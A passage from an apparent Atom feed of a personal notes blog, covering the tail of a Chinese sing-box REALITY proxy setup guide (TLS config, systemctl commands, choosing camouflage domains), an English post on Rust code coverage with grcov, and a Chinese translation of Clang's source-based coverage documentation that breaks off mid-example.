&amp;quot;c36d52aa-12b0-420c-a409-02f0410f6ac4&amp;quot; &amp;#x2F;&amp;#x2F; sing-box执行 sing-box generate uuid 生成作为密码即可      }    ],    &amp;quot;tls&amp;quot;: {      &amp;quot;enabled&amp;quot;: true,      &amp;quot;alpn&amp;quot;: [        &amp;quot;h3&amp;quot;      ],      &amp;quot;certificate_path&amp;quot;: &amp;quot;&amp;#x2F;etc&amp;#x2F;ssl&amp;#x2F;yu.ykszckj.com&amp;#x2F;yu.ykszckj.com.crt&amp;quot;,      &amp;quot;key_path&amp;quot;: &amp;quot;&amp;#x2F;etc&amp;#x2F;ssl&amp;#x2F;yu.ykszckj.com&amp;#x2F;yu.ykszckj.com.key&amp;quot;    }  }],
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;7-qi-dong-sing-box-fu-wu-duan-pei-zhi-wan-cheng&quot;&gt;7.启动sing-box，服务端配置完成。&lt;&#x2F;h3&gt;
&lt;p&gt;启动服务：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo systemctl enable sing-box
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;启动singbox：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;sql&quot; class=&quot;language-sql &quot;&gt;&lt;code class=&quot;language-sql&quot; data-lang=&quot;sql&quot;&gt;sudo systemctl start sing-box
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;重启singbox：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;undefined&quot; class=&quot;language-undefined &quot;&gt;&lt;code class=&quot;language-undefined&quot; data-lang=&quot;undefined&quot;&gt;sudo systemctl restart sing-box
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;停止singbox：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;undefined&quot; class=&quot;language-undefined &quot;&gt;&lt;code class=&quot;language-undefined&quot; data-lang=&quot;undefined&quot;&gt;sudo systemctl stop sing-box
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;查看实时日志：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo journalctl -u sing-box --output cat -f
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;8-ke-hu-duan-pei-zhi-shi-yong-substorezhuan-wei-duo-chong-ke-hu-duan-ding-yue-shi-yong-ji-ke&quot;&gt;8.客户端配置使用substore转为多种客户端订阅使用即可。&lt;&#x2F;h3&gt;
&lt;h3 id=&quot;wei-zhuang-yu-ming-xuan-ze&quot;&gt;伪装域名选择：&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;strong&gt;要求：&lt;&#x2F;strong&gt;
目标网站最低标准：&lt;strong&gt;国外网站，支持 TLSv1.3 与 H2，域名非跳转用&lt;&#x2F;strong&gt;（主域名可能被用于跳转到 www）
加分项：IP 相近（更像，且延迟低），Server Hello 后的握手消息一起加密（如 dl.google.com），有 OCSP Stapling
配置加分项：&lt;strong&gt;禁回国流量，TCP&#x2F;80、UDP&#x2F;443 也转发&lt;&#x2F;strong&gt;（REALITY 对外表现即为端口转发，目标 IP 冷门或许更好）&lt;&#x2F;p&gt;
&lt;p&gt;没有屏蔽的大厂域名也可以，比如 www.apple.com,  www.microsoft.com , www.cloudflare.com  , www.samsung.com&lt;&#x2F;p&gt;
&lt;p&gt;OCSP Stapling支持检查：
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;web.chacuo.net&#x2F;netocspstapling&quot;&gt; http:&#x2F;&#x2F;web.chacuo.net&#x2F;netocspstapling&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;进入这个域名选择网站
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;bgp.tools&#x2F;&quot;&gt; https:&#x2F;&#x2F;bgp.tools&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;然后输入vps ip 然后按照下图选择 会显示出和vps同网段的域名
&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;sing-box-node&#x2F;bgp-tools-vps-subnet-domains.webp&quot; alt=&quot;Pasted image 20250509160535.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;选择几个域名打开然后确认以下事项
&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;sing-box-node&#x2F;camouflage-domain-selection.webp&quot; alt=&quot;Pasted image 20250509160629.png&quot; &#x2F;&gt;
&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;sing-box-node&#x2F;sing-box-camouflage-domains.webp&quot; alt=&quot;Pasted image 20250509160648.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>How to collect Rust source-based code coverage</title>
        <published>2025-07-15T00:00:00+00:00</published>
        <updated>2025-07-15T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/how-to-collect-rust-source-based-code-coverage/"/>
        <id>https://vercel.juzhong.asia/obsidian/how-to-collect-rust-source-based-code-coverage/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/how-to-collect-rust-source-based-code-coverage/">&lt;h1 id=&quot;how-to-collect-rust-source-based-code-coverage&quot;&gt;How to collect Rust source-based code coverage&lt;&#x2F;h1&gt;
&lt;hr &#x2F;&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;marco-c.github.io&#x2F;2020&#x2F;11&#x2F;24&#x2F;rust-source-based-code-coverage.html&quot;&gt;https:&#x2F;&#x2F;marco-c.github.io&#x2F;2020&#x2F;11&#x2F;24&#x2F;rust-source-based-code-coverage.html&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;&lt;strong&gt;TL;DR&lt;&#x2F;strong&gt;: For those of you who prefer an example to words, you can find a complete and simple one at &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;marco-c&#x2F;rust-code-coverage-sample&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;marco-c&#x2F;rust-code-coverage-sample&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Source-based code coverage was &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;rust-lang&#x2F;rust&#x2F;issues&#x2F;34701#issuecomment-723178087&quot;&gt;recently introduced&lt;&#x2F;a&gt; in Rust. It is more precise than the gcov-based coverage, with fewer workarounds needed. Its only drawback is that it makes the profiled program slower than with gcov-based coverage.&lt;&#x2F;p&gt;
&lt;p&gt;In this post, I will show you a simple example on how to set up source-based coverage on a Rust project, and how to generate a report using &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;mozilla&#x2F;grcov&quot;&gt;grcov&lt;&#x2F;a&gt; (in a readable format or in a JSON format which can be parsed to generate custom reports or upload results to Coveralls&#x2F;Codecov).&lt;&#x2F;p&gt;
&lt;h3 id=&quot;install-requirements&quot;&gt;Install requirements&lt;&#x2F;h3&gt;
&lt;p&gt;First of all, let’s install grcov:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;cargo install grcov
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Second, let’s install the llvm-tools Rust component (which grcov will use to parse coverage artifacts):&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;rustup component add llvm-tools-preview
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;At the time of writing, the component is called &lt;code&gt;llvm-tools-preview&lt;&#x2F;code&gt;. It might be renamed to &lt;code&gt;llvm-tools&lt;&#x2F;code&gt; soon.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;build&quot;&gt;Build&lt;&#x2F;h3&gt;
&lt;p&gt;Let’s say we have a simple project, where our main.rs is:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;use std::fmt::Debug;

#[derive(Debug)]
pub struct Ciao {
    pub saluto: String,
}

fn main() {
    let ciao = Ciao{ saluto: String::from(&amp;quot;salve&amp;quot;) };

    assert!(ciao.saluto == &amp;quot;salve&amp;quot;);
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;In order to make Rust generate an instrumented binary, we need to use the &lt;code&gt;-Zinstrument-coverage&lt;&#x2F;code&gt; flag (Nightly only for now!):&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;export RUSTFLAGS=&amp;quot;-Zinstrument-coverage&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Now, build with &lt;code&gt;cargo build&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;The compiled instrumented binary will appear under target&#x2F;debug&#x2F;:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;.
├── Cargo.lock
├── Cargo.toml
├── src
│   └── main.rs
└── target
    └── debug
        └── rust-code-coverage-sample
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The instrumented binary contains information about the structure of the source file (functions, branches, basic blocks, and so on).&lt;&#x2F;p&gt;
&lt;h3 id=&quot;run&quot;&gt;Run&lt;&#x2F;h3&gt;
&lt;p&gt;Now, the instrumented executable can be executed (&lt;code&gt;cargo run&lt;&#x2F;code&gt;, &lt;code&gt;cargo test&lt;&#x2F;code&gt;, or whatever). A new file with the extension ‘profraw’ will be generated. It contains the coverage counters associated with your binary file (how many times a line was executed, how many times a branch was taken, and so on). You can define your own name for the output file (might be necessary in some complex test scenarios like we have on grcov) using the &lt;code&gt;LLVM_PROFILE_FILE&lt;&#x2F;code&gt; environment variable.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;LLVM_PROFILE_FILE=&amp;quot;your_name-%p-%m.profraw&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;%p (process ID) and %m (binary signature) are useful to make sure each process and each binary has its own file.&lt;&#x2F;p&gt;
&lt;p&gt;Your tree will now look like this:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;.
├── Cargo.lock
├── Cargo.toml
├── default.profraw
├── src
│   └── main.rs
└── target
    └── debug
        └── rust-code-coverage-sample
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;At this point, we just need a way to parse the profraw file and the associated information from the binary.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;parse-with-grcov&quot;&gt;Parse with grcov&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;mozilla&#x2F;grcov&quot;&gt;grcov&lt;&#x2F;a&gt; can be downloaded from GitHub (&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;mozilla&#x2F;grcov&#x2F;releases&quot;&gt;from the Releases page&lt;&#x2F;a&gt;).&lt;&#x2F;p&gt;
&lt;p&gt;Simply execute grcov in the root of your repository, with the &lt;code&gt;--binary-path&lt;&#x2F;code&gt; option pointing to the directory containing your binaries (e.g. &lt;code&gt;.&#x2F;target&#x2F;debug&lt;&#x2F;code&gt;). The &lt;code&gt;-t&lt;&#x2F;code&gt; option allows you to specify the output format:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;“html” for a HTML report;&lt;&#x2F;li&gt;
&lt;li&gt;“lcov” for the LCOV format, which you can then translate to a HTML report using genhtml;&lt;&#x2F;li&gt;
&lt;li&gt;“coveralls” for a JSON format compatible with Coveralls&#x2F;Codecov;&lt;&#x2F;li&gt;
&lt;li&gt;“coveralls+” for an extension of the former, with addition of function information. There are &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;mozilla&#x2F;grcov#alternative-reports&quot;&gt;other formats&lt;&#x2F;a&gt; too.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Example:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;grcov . --binary-path PATH_TO_YOUR_BINARIES_DIRECTORY -s . -t html --branch --ignore-not-existing -o .&amp;#x2F;coverage&amp;#x2F;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;This is the output:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;（原文此处内嵌 &lt;code&gt;source_based_coverage&#x2F;src&#x2F;main.rs.html&lt;&#x2F;code&gt; 覆盖率报告页，未随剪藏迁移，可回原文查看）&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;This would be the output with gcov-based coverage:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;（原文此处内嵌 &lt;code&gt;gcov_coverage&#x2F;src&#x2F;main.rs.html&lt;&#x2F;code&gt; 覆盖率报告页，未随剪藏迁移，可回原文查看）&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;You can also run grcov outside of your repository, you just need to pass the path to the directory where the profraw files are and the directory where the source is (normally they are the same, but if you have a complex CI setup like we have at Mozilla, they might be totally separate):&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;grcov PATHS_TO_PROFRAW_DIRECTORIES --binary-path PATH_TO_YOUR_BINARIES_DIRECTORY -s PATH_TO_YOUR_SOURCE_CODE -t html --branch --ignore-not-existing -o .&amp;#x2F;coverage&amp;#x2F;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;grcov has other options too, simply run it with no parameters to list them.&lt;&#x2F;p&gt;
&lt;p&gt;In the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;mozilla&#x2F;grcov#grcov-with-travis&quot;&gt;grcov’s docs&lt;&#x2F;a&gt;, there are also examples on how to integrate code coverage with some CI services.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>基于源代码的代码覆盖率 — Clang 20.0.0git 文档</title>
        <published>2025-07-15T00:00:00+00:00</published>
        <updated>2025-07-15T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/基于源代码的代码覆盖率-clang-20.0.0git-文档/"/>
        <id>https://vercel.juzhong.asia/obsidian/基于源代码的代码覆盖率-clang-20.0.0git-文档/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/基于源代码的代码覆盖率-clang-20.0.0git-文档/">&lt;h1 id=&quot;ji-yu-yuan-dai-ma-de-dai-ma-fu-gai-lu-clang-20-0-0git-wen-dang&quot;&gt;基于源代码的代码覆盖率 — Clang 20.0.0git 文档&lt;&#x2F;h1&gt;
&lt;p&gt;原文链接：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;clang.llvm.net.cn&#x2F;docs&#x2F;SourceBasedCodeCoverage.html&quot;&gt;https:&#x2F;&#x2F;clang.llvm.net.cn&#x2F;docs&#x2F;SourceBasedCodeCoverage.html&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;jian-jie-p&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;clang.llvm.net.cn&#x2F;docs&#x2F;SourceBasedCodeCoverage.html#id1&quot;&gt;简介&lt;&#x2F;a&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;指向此标题的永久链接&quot; href=&quot;https:&#x2F;&#x2F;clang.llvm.net.cn&#x2F;docs&#x2F;SourceBasedCodeCoverage.html#introduction&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;本文档介绍如何使用 clang 的基于源代码的代码覆盖率功能。它被称为“基于源代码”，因为它直接对 AST 和预处理器信息进行操作。这使得它能够生成非常精确的覆盖率数据。&lt;&#x2F;p&gt;
&lt;p&gt;Clang 附带了另外两种代码覆盖率实现&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;clang.llvm.net.cn&#x2F;docs&#x2F;SanitizerCoverage.html&quot;&gt;SanitizerCoverage&lt;&#x2F;a&gt; - 一种低开销的工具，旨在与各种清理程序一起使用。它可以提供高达边缘级别的覆盖率。&lt;&#x2F;li&gt;
&lt;li&gt;gcov - 一种与 GCC 兼容的覆盖率实现，它在 DebugInfo 上运行。这可以通过 &lt;code&gt;-ftest-coverage&lt;&#x2F;code&gt; 或 &lt;code&gt;--coverage&lt;&#x2F;code&gt; 启用。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;从现在开始，“代码覆盖率”将指的是基于源代码的类型。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;dai-ma-fu-gai-lu-gong-zuo-liu-cheng-p&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;clang.llvm.net.cn&#x2F;docs&#x2F;SourceBasedCodeCoverage.html#id2&quot;&gt;代码覆盖率工作流程&lt;&#x2F;a&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;指向此标题的永久链接&quot; href=&quot;https:&#x2F;&#x2F;clang.llvm.net.cn&#x2F;docs&#x2F;SourceBasedCodeCoverage.html#the-code-coverage-workflow&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;代码覆盖率工作流程包括三个主要步骤&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;启用覆盖率进行编译。&lt;&#x2F;li&gt;
&lt;li&gt;运行已插入代码的程序。&lt;&#x2F;li&gt;
&lt;li&gt;创建覆盖率报告。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;接下来的几个部分将基于此程序，逐步介绍一个完整的、易于复制粘贴的示例&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;% cat &amp;lt;&amp;lt;EOF &amp;gt; foo.cc
#define BAR(x) ((x) || (x))
template &amp;lt;typename T&amp;gt; void foo(T x) {
  for (unsigned I = 0; I &amp;lt; 10; ++I) { BAR(I); }
}
int main() {
  foo&amp;lt;int&amp;gt;(0);
  foo&amp;lt;float&amp;gt;(0);
  return 0;
}
EOF
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;qi-yong-fu-gai-lu-jin-xing-bian-yi-p&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;clang.llvm.net.cn&#x2F;docs&#x2F;SourceBasedCodeCoverage.html#id3&quot;&gt;启用覆盖率进行编译&lt;&#x2F;a&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;指向此标题的永久链接&quot; href=&quot;https:&#x2F;&#x2F;clang.llvm.net.cn&#x2F;docs&#x2F;SourceBasedCodeCoverage.html#compiling-with-coverage-enabled&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;要使用启用覆盖率的代码进行编译，请向编译器传递 &lt;code&gt;-fprofile-instr-generate -fcoverage-mapping&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;# Step 1: Compile with coverage enabled.
% clang++ -fprofile-instr-generate -fcoverage-mapping foo.cc -o foo
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;请注意，支持将具有和不具有覆盖率插入代码的代码链接在一起。未插入代码的代码将不会在报告中被计入。&lt;&#x2F;p&gt;
&lt;p&gt;要使用启用了修改条件&#x2F;决策覆盖率 (MC&#x2F;DC) 的代码进行编译，请除了上面指定的 clang 选项外，还传递 &lt;code&gt;-fcoverage-mcdc&lt;&#x2F;code&gt;。MC&#x2F;DC 是一种高级代码覆盖率形式，最适用于嵌入式领域。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;yun-xing-yi-cha-ru-dai-ma-de-cheng-xu-p&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;clang.llvm.net.cn&#x2F;docs&#x2F;SourceBasedCodeCoverage.html#id4&quot;&gt;运行已插入代码的程序&lt;&#x2F;a&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;指向此标题的永久链接&quot; href=&quot;https:&#x2F;&#x2F;clang.llvm.net.cn&#x2F;docs&#x2F;SourceBasedCodeCoverage.html#running-the-instrumented-program&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;下一步是运行已插入代码的程序。当程序退出时，它将把一个 &lt;strong&gt;原始配置文件&lt;&#x2F;strong&gt; 写入由 &lt;code&gt;LLVM_PROFILE_FILE&lt;&#x2F;code&gt; 环境变量指定的路径。如果该变量不存在，则配置文件将写入当前目录的 &lt;code&gt;default.profraw&lt;&#x2F;code&gt;。如果 &lt;code&gt;LLVM_PROFILE_FILE&lt;&#x2F;code&gt; 包含指向不存在目录的路径，则将创建缺少的目录结构。此外，以下特殊的&lt;strong&gt;模式字符串&lt;&#x2F;strong&gt; 将被重写&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;“%p” 展开为进程 ID。&lt;&#x2F;li&gt;
&lt;li&gt;“%h” 展开为运行程序的机器的主机名。&lt;&#x2F;li&gt;
&lt;li&gt;“%t” 展开为 &lt;code&gt;TMPDIR&lt;&#x2F;code&gt; 环境变量的值。在 Darwin 上，这通常被设置为临时暂存目录。&lt;&#x2F;li&gt;
&lt;li&gt;“%Nm” 展开为已插入二进制文件的签名。当指定此模式时，运行时会创建一个包含 N 个原始配置文件的池，用于在线配置文件合并。运行时负责从池中选择一个原始配置文件，锁定它，并在程序退出之前更新它。如果未指定 N（即模式为 “%m”），则假设 &lt;code&gt;N = 1&lt;&#x2F;code&gt;。合并池说明符在每个文件名模式中只能出现一次。&lt;&#x2F;li&gt;
&lt;li&gt;“%c” 展开为空，但启用了一种模式，其中配置文件计数器更新会持续同步到一个文件。这意味着，如果已插入代码的程序崩溃或被信号杀死，仍然可以恢复完美的覆盖率信息。连续模式不支持用于 PGO 的值分析，目前仅在 Darwin 上受支持。对 Linux 的支持可能基本完成，但需要测试，而对 Windows 的支持可能需要更广泛的更改：如果您有兴趣移植此功能，请参与。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre&gt;&lt;code&gt;# Step 2: Run the program.
% LLVM_PROFILE_FILE=&amp;quot;foo.profraw&amp;quot; .&amp;#x2F;foo
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;请注意，连续模式也用于 Fuchsia，它是唯一支持的模式，但实现方式不同。Darwin 和 Linux 实现依赖于填充和能够将文件映射到现有内存映射的能力，这通常仅在 POSIX 系统上可用，不适用于其他平台。&lt;&#x2F;p&gt;
&lt;p&gt;在 Fuchsia 上，我们依赖于在运行时使用间接级别重新定位计数器。在每次计数器访问时，我们都会向计数器地址添加一个偏差。该偏差存储在 &lt;code&gt;__llvm_profile_counter_bias&lt;&#x2F;code&gt; 符号中，该符号由配置文件运行时提供，最初设置为零，表示没有重新定位。运行时可以将配置文件映射到内存中的任意位置，并将偏差设置为原始位置和新计数器位置之间的偏移量，此时每次后续计数器访问都将指向新位置，这允许更新配置文件，类似于连续模式。&lt;&#x2F;p&gt;
&lt;p&gt;这种方法的优点是不需要任何特殊的 OS 支持。缺点是由于每次计数器访问所需的额外指令（在二进制大小和性能方面都存在开销）以及计数器的重复（即二进制本身中的一份副本和映射到内存中的另一份副本）而导致的额外开销。可以通过在编译期间向后端传递 &lt;code&gt;-runtime-counter-relocation&lt;&#x2F;code&gt; 选项来为其他平台启用此实现。&lt;&#x2F;p&gt;
&lt;p&gt;对于像 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;llvm.net.cn&#x2F;docs&#x2F;CommandGuide&#x2F;lit.html&quot;&gt;Lit&lt;&#x2F;a&gt; 测试工具这样的程序，该工具调用其他程序，可能需要为每次调用设置 &lt;code&gt;LLVM_PROFILE_FILE&lt;&#x2F;code&gt;。模式字符串 “%p” 或 “%Nm” 可能有助于避免由于并发而导致的损坏。请注意， “%p” 也是一个 Lit 令牌，需要转义为 “%%p”。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;% clang++ -fprofile-instr-generate -fcoverage-mapping -mllvm -runtime-counter-relocation foo.cc -o foo
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;chuang-jian-fu-gai-lu-bao-gao-p&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;clang.llvm.net.cn&#x2F;docs&#x2F;SourceBasedCodeCoverage.html#id5&quot;&gt;创建覆盖率报告&lt;&#x2F;a&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;指向此标题的永久链接&quot; href=&quot;https:&#x2F;&#x2F;clang.llvm.net.cn&#x2F;docs&#x2F;SourceBasedCodeCoverage.html#creating-coverage-reports&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;在生成覆盖率报告之前，必须对原始配置文件进行 &lt;strong&gt;索引&lt;&#x2F;strong&gt;。这可以使用 &lt;code&gt;llvm-profdata&lt;&#x2F;code&gt; 中的 “merge” 工具完成（该工具可以合并多个原始配置文件并在同一时间对它们进行索引）&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;# Step 3(a): Index the raw profile.
% llvm-profdata merge -sparse foo.profraw -o foo.profdata
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;有关合并测试创建的多个配置文件的示例，请参见 LLVM &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;llvm&#x2F;llvm-zorg&#x2F;blob&#x2F;main&#x2F;zorg&#x2F;jenkins&#x2F;jobs&#x2F;jobs&#x2F;llvm-coverage&quot;&gt;覆盖率构建脚本&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;有多种不同的方法可以呈现覆盖率报告。最简单的选择是生成一个面向行的报告&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;# Step 3(b): Create a line-oriented coverage report.
% llvm-cov show .&amp;#x2F;foo -instr-profile=foo.profdata
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;此报告包括一个摘要视图以及模板函数及其实例化的专用子视图。对于我们的示例程序，我们获得了 &lt;code&gt;foo&amp;lt;float&amp;gt;(...)&lt;&#x2F;code&gt; 和 &lt;code&gt;foo&amp;lt;float&amp;gt;(...)&lt;&#x2F;code&gt; 的不同视图。如果启用了 &lt;code&gt;-show-line-counts-or-regions&lt;&#x2F;code&gt;，则 &lt;code&gt;llvm-cov&lt;&#x2F;code&gt; 会显示子行区域计数（即使在宏扩展中也是如此）&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;    1|   20|#define BAR(x) ((x) || (x))
                           ^20     ^2
    2|    2|template &amp;lt;typename T&amp;gt; void foo(T x) {
    3|   22|  for (unsigned I = 0; I &amp;lt; 10; ++I) { BAR(I); }
                                   ^22     ^20  ^20^20
    4|    2|}
------------------
| void foo&amp;lt;int&amp;gt;(int):
|      2|    1|template &amp;lt;typename T&amp;gt; void foo(T x) {
|      3|   11|  for (unsigned I = 0; I &amp;lt; 10; ++I) { BAR(I); }
|                                     ^11     ^10  ^10^10
|      4|    1|}
------------------
| void foo&amp;lt;float&amp;gt;(int):
|      2|    1|template &amp;lt;typename T&amp;gt; void foo(T x) {
|      3|   11|  for (unsigned I = 0; I &amp;lt; 10; ++I) { BAR(I); }
|                                     ^11     ^10  ^10^10
|      4|    1|}
------------------
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如果还启用了 &lt;code&gt;--show-branches=count&lt;&#x2F;code&gt; 和 &lt;code&gt;--show-expansions&lt;&#x2F;code&gt;，则子视图将显示详细的分支覆盖率信息，以及区域计数&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;------------------
| void foo&amp;lt;float&amp;gt;(int):
|      2|    1|template &amp;lt;typename T&amp;gt; void foo(T x) {
|      3|   11|  for (unsigned I = 0; I &amp;lt; 10; ++I) { BAR(I); }
|                                     ^11     ^10  ^10^10
|  ------------------
|  |  |    1|     10|#define BAR(x) ((x) || (x))
|  |  |                             ^10     ^1
|  |  |  ------------------
|  |  |  |  Branch (1:17): [True: 9, False: 1]
